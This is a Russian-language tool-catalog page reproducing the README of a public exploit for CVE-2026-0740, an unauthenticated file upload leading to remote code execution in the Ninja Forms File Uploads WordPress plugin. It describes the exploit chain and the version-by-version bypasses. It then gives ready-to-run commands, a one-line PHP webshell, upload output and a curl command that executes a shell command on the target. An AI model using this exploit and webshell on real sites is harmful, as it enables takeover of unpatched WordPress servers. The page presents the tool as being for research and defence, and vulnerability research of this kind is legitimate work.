Skip to content
KitploitKITPLOIT
ИнструментыЭксплойтыБлог
Log in
Отправить
ИнструментыЭксплойтыБлог
Отправить

Инструменты для хакинга, пентеста и кибербезопасности — ваш арсенал защиты!

Kitploit — это каталог инструментов для хакинга, кибербезопасности и пентестинга. Находите последние обновления проектов для поиска уязвимостей, анализа систем, автоматизации тестирования и усиления вашей безопасности.

··Ленты·Контакты·Конфиденциальность·© 2026 Kitploit

Каталог инструментов

Категории

Все категории
Loading categories
CVE-2026-0740 — Ninja Forms File Uploads <= 3.3.26 — Неаутентифицированная произвольная загрузка файлов, ведущая к RCE (CVE-2026-0740) | Kitploit
Инструменты/GitHubGitHub/whattheslime/cve-2026-0740
Генерация полезной нагрузкиАнализ уязвимостейАнализ КодаЭксплуатацияЭксплуатация веб-приложенийТестирование на Проникновение
GitHubwhattheslime/cve-2026-0740

CVE-2026-0740

Ninja Forms File Uploads <= 3.3.26 — Неаутентифицированная произвольная загрузка файлов, ведущая к RCE (CVE-2026-0740)

Репозиторий
12143 месяцев назадЕщё не проверено

Популярное

Смотреть все →

Откройте для себя самые используемые инструменты нашего сообщества.

Изучить все инструменты

Просмотрите нашу коллекцию инструментов

Смотреть все инструменты →
Поделиться

CVE-2026-0740

Ninja Forms File Uploads <= 3.3.26 - Неаутентифицированная произвольная загрузка файлов с выходом на RCE

Эксплойт для CVE-2026-0740, обнаруженный Selim Lanouar (whattheslime).

Полное техническое описание читайте в статье в блоге Lexfo.

Отказ от ответственности

Этот репозиторий предоставлен исключительно для исследовательских и защитных целей.

Автор не несёт ответственности за неправомерное использование данной информации.


Обзор

Плагин Ninja Forms - File Uploads для WordPress уязвим к неаутентифицированной произвольной загрузке файлов, приводящей к удалённому выполнению кода, во всех версиях до 3.3.26 включительно.

Уязвимость была первоначально обнаружена и зарегистрирована в версии 3.3.23. Эксплуатация проста вплоть до версии 3.3.24 (отсутствует проверка конечного имени файла). В версиях 3.3.25 и 3.3.26 были выпущены последовательные частичные исправления, однако полностью проблема устранена только в версии 3.3.27.

Цепочка эксплуатации уязвимости выглядит следующим образом:

  1. Неаутентифицированный пользователь получает действующий одноразовый токен (nonce) через AJAX-действие nf_fu_get_new_nonce с произвольным field_id.
  2. Обработчик nf_fu_upload проверяет расширение загружаемого файла (например, image.jpg), но позволяет клиенту переопределить конечное имя файла через POST-параметр (image_jpg).
  3. Конечное имя файла передаётся в move_uploaded_file() без надлежащей санитизации, что позволяет использовать произвольные расширения и обход пути (../).
Вектор / Расширение<= 3.3.243.3.253.3.263.3.27
Обход пути (../)ПРОХОДИТ---
.phpПРОХОДИТ---
.phtml, .pharПРОХОДИТПРОХОДИТ--
.phtПРОХОДИТПРОХОДИТПРОХОДИТ-
.html, .svg, .jsПРОХОДИТПРОХОДИТПРОХОДИТ-

Полную таблицу расширений и технические подробности см. в полной статье в блоге.


Эксплуатация

Предварительные требования

  • Плагин Ninja Forms установлен и активирован.
  • Расширение Ninja Forms - File Uploads установлено и активировано (<= 3.3.26).
  • Активная форма или предварительно созданное поле загрузки файлов не требуются.

Подготовка

python3 -m venv .venv
.venv/bin/pip install -r requirements.txt
.venv/bin/python3 CVE-2026-0740.py -h

Загрузка файла (без обхода пути)

python3 CVE-2026-0740.py -t http://localhost:8000 -f test.txt

Файл будет сохранён в wp-content/uploads/ninja-forms/tmp/test.txt.

Загрузка с обходом пути (<= 3.3.24)

python3 CVE-2026-0740.py -t http://localhost:8000 -f webshell.php -d ../../../webshell.php

Файл будет сохранён в wp-content/webshell.php.

Загрузка с указанием конечного имени файла

python3 CVE-2026-0740.py -t http://localhost:8000 -f evil-htaccess -d .htaccess

Пример

# 1. Detect version
httpx -fr -u http://localhost:8000 -ms 'file_uploads_nfpluginsettings-js' -er 'nfpluginsettings\.js\?ver=[\d\.]+' 2>/dev/null
http://localhost:8000 [nfpluginsettings.js?ver=3.3.24]

# 2. Write webshell
echo '<?php system($_GET["cmd"]); ?>' > /tmp/slime.php

# 3. Upload
python3 CVE-2026-0740.py -t http://localhost:8000 -f /tmp/slime.php -d ../ws.php
[2026-04-07] [20:20:11] [info] [http://localhost:8000] Fetch nonce for random field_id: 3711569793384815...
[2026-04-07] [20:20:12] [success] [http://localhost:8000] Got ninja-forms-upload nonce: a320b7ed4a
[2026-04-07] [20:20:12] [info] [http://localhost:8000] Uploading slime.php as ../ws.php via POST parameter...
[2026-04-07] [20:20:12] [success] [http://localhost:8000] File uploaded at: http://localhost:8000/wp-content/uploads/ninja-forms/ws.php

# 4. Execute commands
curl http://localhost:8000/wp-content/uploads/ninja-forms/ws.php\?cmd\=id
uid=33(www-data) gid=33(www-data) groups=33(www-data)

Ссылки

  • Статья в блоге - Технические подробности
  • CVE-2026-0740
  • Wordfence - 50 000 сайтов на WordPress затронуто
  • Wordfence - Сведения об уязвимости
Скачать инструмент